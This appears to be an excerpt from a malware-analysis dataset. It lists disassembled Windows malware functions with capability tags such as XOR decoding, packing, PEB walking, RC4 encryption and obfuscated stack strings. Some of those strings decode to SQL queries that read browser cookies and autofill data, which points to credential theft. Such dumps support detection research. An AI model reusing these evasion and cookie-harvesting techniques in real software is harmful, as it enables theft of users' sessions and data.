joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0xd64b14
Capabilities:
Encode data using xor

Disassembly:
jmp 0xd64b1e
pushal
call 0xd64b24
pop ebp
sub ebp, 0x10
sub ebp, 0x964b14
jmp 0xd64b3a
mov eax, 0x964b14
add eax, ebp
add eax, 0x4c
mov ecx, 0x5d4
mov edx, 0x76d8aa51
xor byte [eax], dl
inc eax
dec ecx
jne 0xd64b51
jmp 0xd64b64
ficomp dword [edx + ebx*8 + 0x51516dd8]
push ecx
rcl byte [eax + 0x515151a9]
push edx
pushfd
jmp 0x52279cd1
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..idata
mov ebx, 0x40915c
nop
mov ecx, 0x24e45753
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x431024
mov eax, section..data
nop
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0xe551520
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x431084
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x4010a0
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x401183
push ebx
mov ebx, dword [ebp + 0x10]
test ebx, ebx
jne 0x4010c3
cmp dword [ebp + 0x18], ebx
je 0x40117b
mov eax, dword [edi + 0x3c]
mov ecx, 0x5a4d
cmp word [edi], cx
jne 0x40117b
cmp dword [eax + edi], 0x4550
jne 0x40117b
mov ecx, dword [eax + edi + 0x7c]
mov dword [ebp - 0x14], ecx
test ecx, ecx
je 0x40117b
mov ecx, dword [eax + edi + 0x78]
mov eax, dword [ecx + edi + 0x24]
mov edx, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 8], eax
mov eax, dword [ecx + 0x1c]
add eax, edi
mov dword [ebp - 0xc], eax
mov eax, ebx
add edx, edi
shr eax, 0x10
push esi
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], edx
test eax, eax
je 0x40114c
mov eax, dword [ecx + 0x18]
xor esi, esi
mov dword [ebp + 0xc], eax
test eax, eax
je 0x40114c
lea esp, [esp]
mov eax, dword [edx + esi*4]
add eax, edi
push eax
push ebx
call section..text
add esp, 8
test eax, eax
jne 0x401155
mov edx, dword [ebp - 4]
inc esi
cmp esi, dword [ebp + 0xc]
jb 0x401130
pop esi
pop ebx
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
movzx eax, word [eax + esi*2]
mov ecx, dword [ecx + eax*4]
mov eax, dword [ebp - 0x10]
add ecx, edi
cmp ecx, eax
jbe 0x401172
add eax, dword [ebp - 0x14]
cmp ecx, eax
jb 0x40114c
pop esi
pop ebx
mov eax, ecx
pop edi
mov esp, ebp
pop ebp
ret
pop ebx
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x4011b0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov edi, dword [ebp + 8]
mov esi, dword [ebp - 4]
test edi, edi
je 0x401233
cmp dword [esi + 0x18], 0
je 0x40124e
lea ecx, [ecx]
mov ecx, dword [esi + 0x30]
xor eax, eax
cmp word [ecx], ax
je 0x401208
lea ebx, [ebx]
inc eax
cmp word [ecx + eax*2], 0
jne 0x401200
lea eax, [eax*2 + 2]
push eax
push edi
push ecx
call fcn.00401030
add esp, 0xc
test eax, eax
jne 0x40122b
mov esi, dword [esi]
cmp dword [esi + 0x18], eax
jne 0x4011f0
pop edi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x40124e
mov eax, dword [esi + 0x18]
test eax, eax
je 0x40124e
cmp eax, ecx
je 0x40122b
mov esi, dword [esi]
mov eax, dword [esi + 0x18]
test eax, eax
jne 0x401241
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401590
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push esi
mov esi, dword [ebp + 0x10]
push edi
xor edi, edi
xor ecx, ecx
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
mov byte [ebp + ecx - 0x102], cl
lea edx, [eax + eax*4]
shl edx, 2
mov eax, ecx
sub eax, edx
inc ecx
mov al, byte [eax + esi]
mov byte [ebp + ecx - 0x205], al
cmp ecx, 0x100
jl 0x4015a2
xor esi, esi
lea esp, [esp]
mov dl, byte [ebp + esi - 0x102]
movzx eax, byte [ebp + esi - 0x204]
movzx ecx, dl
add eax, edi
lea edi, [eax + ecx]
and edi, 0x800000ff
jns 0x401607
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [ebp + edi - 0x102]
mov byte [ebp + esi - 0x102], al
inc esi
mov byte [ebp + edi - 0x102], dl
cmp esi, 0x100
jl 0x4015e0
xor dl, dl
xor edi, edi
xor al, al
mov byte [ebp - 0x103], dl
cmp dword [ebp + 0xc], edi
jbe 0x4016a6
mov ecx, dword [ebp + 8]
push ebx
lea ebx, [ebx]
mov bl, byte [edi + ecx]
inc al
mov byte [ebp - 0x104], al
movzx eax, al
lea esi, [ebp - 0x102]
add esi, eax
movzx eax, dl
movzx ecx, byte [esi]
add eax, ecx
mov byte [ebp - 0x103], al
mov cl, byte [esi]
movzx eax, al
lea edx, [ebp - 0x102]
add edx, eax
inc edi
movzx eax, byte [edx]
mov byte [esi], al
movzx eax, cl
mov byte [edx], cl
add al, byte [esi]
mov ecx, dword [ebp + 8]
movzx eax, al
movzx eax, byte [ebp + eax - 0x102]
xor al, bl
mov byte [edi + ecx - 1], al
cmp edi, dword [ebp + 0xc]
jae 0x4016a5
mov dl, byte [ebp - 0x103]
mov al, byte [ebp - 0x104]
jmp 0x401640
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402947
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0x10]
sub esp, 0x18
mov eax, edx
push ebx
mov ebx, dword [ebp + 0xc]
shr eax, 4
push esi
mov ecx, ebx
test eax, eax
je 0x4029b9
add ebx, 8
mov dword [ebp - 4], eax
nop
mov eax, dword [ecx]
xor dword [edi], eax
mov edx, dword [ebx - 4]
xor dword [edi + 4], edx
mov edx, dword [ebx]
xor dword [edi + 8], edx
mov edx, dword [ebx + 4]
xor dword [edi + 0xc], edx
add ecx, 0x10
mov dword [ebp - 8], ecx
mov ecx, dword [ebp + 8]
push edi
lea esi, [ebp - 0x18]
add ebx, 0x10
call fcn.004028b7
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov dword [edi], eax
mov eax, dword [ebp - 0xc]
mov dword [edi + 4], ecx
mov ecx, dword [ebp - 8]
add esp, 4
dec dword [ebp - 4]
mov dword [edi + 8], edx
mov dword [edi + 0xc], eax
jne 0x402967
mov edx, dword [ebp + 0x10]
mov ebx, dword [ebp + 0xc]
lea eax, [ebx + edx]
cmp eax, ecx
jbe 0x402a2c
sub ebx, ecx
add ebx, edx
test ebx, ebx
jle 0x4029d6
push ebx
push ecx
lea ecx, [ebp - 0x18]
push ecx
call fcn.0041fad7
add esp, 0xc
mov eax, 0x10
sub eax, ebx
lea ecx, [ebp + ebx - 0x18]
je 0x4029ef
push eax
push 0
push ecx
call fcn.0041fb07
add esp, 0xc
mov edx, dword [ebp - 0x18]
xor dword [edi], edx
mov ecx, dword [ebp - 0x14]
xor dword [edi + 4], ecx
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
xor dword [edi + 8], edx
xor dword [edi + 0xc], ecx
mov ecx, dword [ebp + 8]
push edi
lea esi, [ebp - 0x18]
call fcn.004028b7
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
mov dword [edi], edx
mov edx, dword [ebp - 0xc]
mov dword [edi + 4], eax
mov dword [edi + 8], ecx
add esp, 4
mov dword [edi + 0xc], edx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402a37
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
sub esp, 0x24
push ebx
mov ebx, dword [ebp + 0x18]
push edi
mov edi, ecx
test eax, eax
je 0x402b39
push esi
mov esi, dword [edx]
mov dword [ebp - 0x14], esi
mov esi, dword [edx + 4]
mov dword [ebp - 0x10], esi
mov esi, dword [edx + 8]
mov edx, dword [edx + 0xc]
shr eax, 4
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], edx
test eax, eax
je 0x402b00
mov edx, ebx
sub ecx, edx
lea esi, [edx + 0xc]
mov dword [ebp - 4], ecx
mov dword [ebp + 0x18], eax
jmp 0x402a87
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push ebx
lea eax, [ebp - 0x14]
push eax
push ecx
push edx
call fcn.00404d47
mov eax, dword [edi]
xor dword [ebx], eax
mov ecx, dword [edi + 4]
xor dword [esi - 8], ecx
mov edx, dword [edi + 8]
xor dword [esi - 4], edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + esi]
xor dword [esi], ecx
movzx eax, byte [ebp - 8]
movzx edx, byte [ebp - 7]
movzx ecx, byte [ebp - 6]
shl eax, 8
or eax, edx
movzx edx, byte [ebp - 5]
shl eax, 8
or eax, ecx
shl eax, 8
or eax, edx
inc eax
mov ecx, eax
shr ecx, 0x18
mov byte [ebp - 8], cl
mov edx, eax
mov ecx, eax
shr edx, 0x10
shr ecx, 8
add esp, 0x10
add edi, 0x10
add ebx, 0x10
add esi, 0x10
dec dword [ebp + 0x18]
mov byte [ebp - 7], dl
mov byte [ebp - 6], cl
mov byte [ebp - 5], al
jne 0x402a87
mov ecx, dword [ebp + 0x10]
sub ecx, edi
add ecx, dword [ebp + 0x14]
mov esi, ecx
je 0x402b38
mov ecx, dword [ebp + 0xc]
lea edx, [ebp - 0x24]
push edx
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
push ecx
push edx
call fcn.00404d47
add esp, 0x10
xor eax, eax
test esi, esi
je 0x402b38
sub ebx, edi
mov cl, byte [ebp + eax - 0x24]
xor cl, byte [edi]
inc eax
mov byte [ebx + edi], cl
inc edi
cmp eax, esi
jb 0x402b29
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4063e7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x280
push esi
xor eax, eax
push 0x1fe
push eax
lea ecx, [ebp - 0x27e]
push ecx
mov word [ebp - 0x280], ax
call fcn.0041fb07
push 0x40
lea ecx, [ebp - 0x7c]
push 0
push ecx
mov dword [ebp - 0x2c], 0x65005c
mov dword [ebp - 0x28], 0x700078
mov dword [ebp - 0x24], 0x6f006c
mov dword [ebp - 0x20], 0x650072
mov dword [ebp - 0x1c], 0x2e0072
mov dword [ebp - 0x18], 0x780065
mov dword [ebp - 0x14], 0x65
call fcn.0041fb07
mov esi, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x280]
push eax
lea ecx, [ebp - 0x10]
push ecx
xor edx, edx
push esi
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x80], 0x44
mov dword [ebp - 0x10], 0x690077
mov dword [ebp - 0xc], 0x64006e
mov dword [ebp - 8], 0x720069
mov word [ebp - 4], dx
call fcn.0040c547
push 0
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 0x280]
push eax
call fcn.0041fdf7
mov ecx, dword [esi + 0xbc4]
push 0xad0121ab
push 0
push 0
push ecx
add esi, 0x20
push esi
call fcn.00418a87
add esp, 0x44
pop esi
test eax, eax
je 0x4064ec
push 0
lea edx, [ebp - 0x3c]
push edx
lea ecx, [ebp - 0x80]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x280]
push edx
push 0
call eax
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x407a67
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a0
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 8]
push ebx
xor ebx, ebx
push esi
push 0x1fe
lea eax, [ebp - 0x29e]
xor edx, edx
push ebx
push eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x5c], 0x18
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], ebx
mov word [ebp - 0x2a0], dx
call fcn.0041fb07
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x34]
push ecx
lea edx, [ebp - 0x5c]
push edx
push 0x401
lea eax, [ebp + 0xc]
push eax
push esi
call fcn.0041d867
add esp, 0x20
test eax, eax
js 0x407bce
mov eax, dword [esi + 0xbc4]
push edi
push 0xcc145ef7
push ebx
push ebx
push eax
lea edi, [esi + 0x20]
push edi
mov dword [ebp - 0x2c], 0x65005c
mov dword [ebp - 0x28], 0x700078
mov dword [ebp - 0x24], 0x6f006c
mov dword [ebp - 0x20], 0x650072
mov dword [ebp - 0x1c], 0x2e0072
mov dword [ebp - 0x18], 0x780065
mov dword [ebp - 0x14], 0x65
call fcn.00418a87
add esp, 0x14
cmp eax, ebx
je 0x407b2d
mov ecx, dword [ebp + 0xc]
push ebx
push ecx
call eax
push 0x40
lea edx, [ebp - 0x9c]
push ebx
push edx
call fcn.0041fb07
lea ecx, [ebp - 0x2a0]
push ecx
xor eax, eax
lea edx, [ebp - 0x10]
push edx
push esi
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0xa0], 0x44
mov dword [ebp - 0x10], 0x690077
mov dword [ebp - 0xc], 0x64006e
mov dword [ebp - 8], 0x720069
mov word [ebp - 4], ax
call fcn.0040c547
push ebx
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x2a0]
push ecx
call fcn.0041fdf7
mov edx, dword [esi + 0xbc4]
push 0xad0121ab
push ebx
push ebx
push edx
push edi
call fcn.00418a87
add esp, 0x38
pop edi
cmp eax, ebx
je 0x407bce
push ebx
lea ecx, [ebp - 0x44]
push ecx
lea edx, [ebp - 0xa0]
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x2a0]
push ecx
push ebx
call eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4086b7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub esp, 0x3c
push eax
call fcn.0041fc87
add esp, 4
cmp eax, 0x1000
ja 0x40882c
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 0x7dc]
test ecx, ecx
je 0x40882b
push ebx
push edi
lea edi, [eax + eax]
lea ebx, [ecx + 0xac14]
mov ecx, dword [ebp + 0xc]
push edi
push ebx
push ecx
call fcn.0041fca7
add esp, 0xc
test eax, eax
jne 0x408829
mov edx, dword [ebp + 0xc]
push edi
push edx
push ebx
call fcn.0041fa87
add esp, 0xc
xor ecx, ecx
xor eax, eax
push 0x104
mov word [ebp - 4], cx
mov ecx, dword [esi + 0xd50]
lea ebx, [esi + 0x3924]
push ebx
mov dword [ebp - 0xc], 0xa000d
mov dword [ebp - 8], 0xa000d
mov dword [ebp - 0x3c], 0x6c0043
mov dword [ebp - 0x38], 0x700069
mov dword [ebp - 0x34], 0x6f0062
mov dword [ebp - 0x30], 0x720061
mov dword [ebp - 0x2c], 0x64
mov word [ebp - 0x28], ax
mov dword [ebp - 0x26], eax
mov dword [ebp - 0x22], eax
mov word [ebp - 0x1e], ax
call ecx
mov edx, dword [esi + 0xcc0]
push eax
call edx
cmp eax, 0x40
jbe 0x408789
xor eax, eax
mov word [esi + 0x39a4], ax
jmp 0x4087b8
test eax, eax
jne 0x4087b8
push 0x10
lea eax, [ebp - 0x1c]
push eax
push ebx
mov dword [ebp - 0x1c], 0x6e0055
mov dword [ebp - 0x18], 0x6e006b
mov dword [ebp - 0x14], 0x77006f
mov dword [ebp - 0x10], 0x6e
call fcn.0041fa87
add esp, 0xc
push 0x14
lea ecx, [ebp - 0x3c]
push ecx
lea edi, [esi + 0x4d28]
push edi
call fcn.0041fa87
push 0
lea edx, [ebp - 0xc]
push edx
push edi
call fcn.0041fdf7
push 0
push ebx
push edi
call fcn.0041fdf7
push 0
lea eax, [ebp - 0xc]
push eax
push edi
call fcn.0041fdf7
mov ecx, dword [ebp + 0xc]
push 0
push ecx
push edi
call fcn.0041fdf7
push edi
call fcn.0041fc87
add esp, 0x40
add eax, eax
push edi
mov dword [esi + 0xa0c], eax
call fcn.0041fc87
mov edx, dword [esi + 0xa08]
add eax, eax
push eax
push edi
push edx
call fcn.0041fa87
push 0x13
push esi
call fcn.0040f157
add esp, 0x18
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40b377
Capabilities:
Hash data using crc32b

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
push esi
push edi
xor ecx, ecx
mov edi, 0x100
nop
mov eax, ecx
shl eax, 0x18
mov esi, 8
lea ebx, [ebx]
test eax, eax
jns 0x40b3a4
add eax, eax
xor eax, 0x4c11db7
jmp 0x40b3a6
add eax, eax
dec esi
jne 0x40b397
mov dword [edx], eax
inc ecx
add edx, 4
dec edi
jne 0x40b387
pop edi
pop esi
pop ebp
ret

Function at 0x40b3b7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push esi
push 0x3fc
lea eax, [ebp - 0x3fc]
push 0
push eax
mov dword [ebp - 0x400], 0
call fcn.0041fb07
lea ecx, [ebp - 0x400]
push ecx
call fcn.0040b377
mov esi, dword [ebp + 0xc]
add esp, 0x10
or eax, 0xffffffff
test esi, esi
je 0x40b41a
mov edx, dword [ebp + 8]
push edi
movzx edi, byte [edx]
mov ecx, eax
shr ecx, 0x18
xor ecx, edi
and ecx, 0xff
shl eax, 8
xor eax, dword [ebp + ecx*4 - 0x400]
inc edx
dec esi
jne 0x40b3fb
pop edi
not eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40b427
Capabilities:
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x18], ecx
mov dword [eax + 0x5c], ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
mov dword [eax + 0x60], ecx
mov dword [eax + 0x64], ecx
pop ebp
ret
Function at 0x40c047
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
push edi
mov edi, dword [ebp + 0x10]
xor esi, esi
xor ecx, ecx
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*4]
add eax, eax
add eax, eax
mov edx, ecx
sub edx, eax
mov al, byte [edx + edi]
mov byte [ebp + ecx - 0x106], cl
mov byte [ebp + ecx - 0x208], al
inc ecx
cmp ecx, 0x100
jl 0x40c059
xor eax, eax
lea ebx, [ebx]
movzx ecx, byte [ebp + eax - 0x208]
movzx edx, byte [ebp + eax - 0x106]
add ecx, esi
lea esi, [ecx + edx]
and esi, 0x800000ff
jns 0x40c0bc
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [ebp + eax - 0x106]
mov dl, byte [ebp + esi - 0x106]
mov byte [ebp + eax - 0x106], dl
inc eax
mov byte [ebp + esi - 0x106], cl
cmp eax, 0x100
jl 0x40c097
xor eax, eax
xor cl, cl
mov byte [ebp - 0x107], 0
cmp dword [ebp + 0xc], eax
jbe 0x40c168
mov edi, dword [ebp + 8]
push ebx
jmp 0x40c0fd
mov cl, byte [ebp - 0x108]
mov dl, byte [eax + edi]
inc cl
mov byte [ebp - 0x108], cl
movzx esi, cl
movzx ebx, byte [ebp + esi - 0x106]
movzx ecx, byte [ebp - 0x107]
add ecx, ebx
mov byte [ebp - 0x107], cl
movzx ebx, byte [ebp + esi - 0x106]
movzx ecx, cl
lea ecx, [ebp + ecx - 0x106]
mov byte [ebp - 1], bl
movzx ebx, byte [ecx]
mov byte [ebp + esi - 0x106], bl
movzx ebx, byte [ebp - 1]
mov byte [ecx], bl
movzx ebx, byte [ebp + esi - 0x106]
add bl, byte [ecx]
inc eax
movzx ecx, bl
mov cl, byte [ebp + ecx - 0x106]
xor cl, dl
mov byte [eax + edi - 1], cl
cmp eax, dword [ebp + 0xc]
jb 0x40c0f7
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4112a7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
xor eax, eax
push ebx
push esi
push 0x5f
push eax
mov dword [ebp - 0x29], eax
mov dword [ebp - 0x25], eax
mov byte [ebp - 0x21], al
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov byte [ebp - 8], al
mov dword [ebp - 7], eax
mov word [ebp - 3], ax
mov byte [ebp - 1], al
mov byte [ebp - 0x110], al
lea eax, [ebp - 0x10f]
push eax
mov dword [ebp - 0x30], 0x656d616e
mov word [ebp - 0x2c], 0x203a
mov byte [ebp - 0x2a], 0
mov dword [ebp - 0x20], 0x756c6176
mov dword [ebp - 0x1c], 0x203a65
mov dword [ebp - 0x10], 0x65746164
mov dword [ebp - 0xc], 0x656d6974
mov dword [ebp - 0x130], 0x454c4553
mov dword [ebp - 0x12c], 0x6e205443
mov dword [ebp - 0x128], 0x2c656d61
mov dword [ebp - 0x124], 0x6c617620
mov dword [ebp - 0x120], 0x46206575
mov dword [ebp - 0x11c], 0x204d4f52
mov dword [ebp - 0x118], 0x6f747561
mov dword [ebp - 0x114], 0x6c6c6966
call fcn.0041fb07
push 0x27
lea ecx, [ebp - 0x57]
push 0
push ecx
mov dword [ebp - 0xb0], 0x454c4553
mov dword [ebp - 0xac], 0x68205443
mov dword [ebp - 0xa8], 0x5f74736f
mov dword [ebp - 0xa4], 0x2c79656b
mov dword [ebp - 0xa0], 0x74617020
mov dword [ebp - 0x9c], 0x69202c68
mov dword [ebp - 0x98], 0x65735f73
mov dword [ebp - 0x94], 0x65727563
mov dword [ebp - 0x90], 0x7865202c
mov dword [ebp - 0x8c], 0x65726970
mov dword [ebp - 0x88], 0x74755f73
mov dword [ebp - 0x84], 0x6e202c63
mov dword [ebp - 0x80], 0x2c656d61
mov dword [ebp - 0x7c], 0x6c617620
mov dword [ebp - 0x78], 0x202c6575
mov dword [ebp - 0x74], 0x72636e65
mov dword [ebp - 0x70], 0x65747079
mov dword [ebp - 0x6c], 0x61765f64
mov dword [ebp - 0x68], 0x2065756c
mov dword [ebp - 0x64], 0x4d4f5246
mov dword [ebp - 0x60], 0x6f6f6320
mov dword [ebp - 0x5c], 0x7365696b
mov byte [ebp - 0x58], 0
call fcn.0041fb07
lea edx, [ebp - 0x30]
push edx
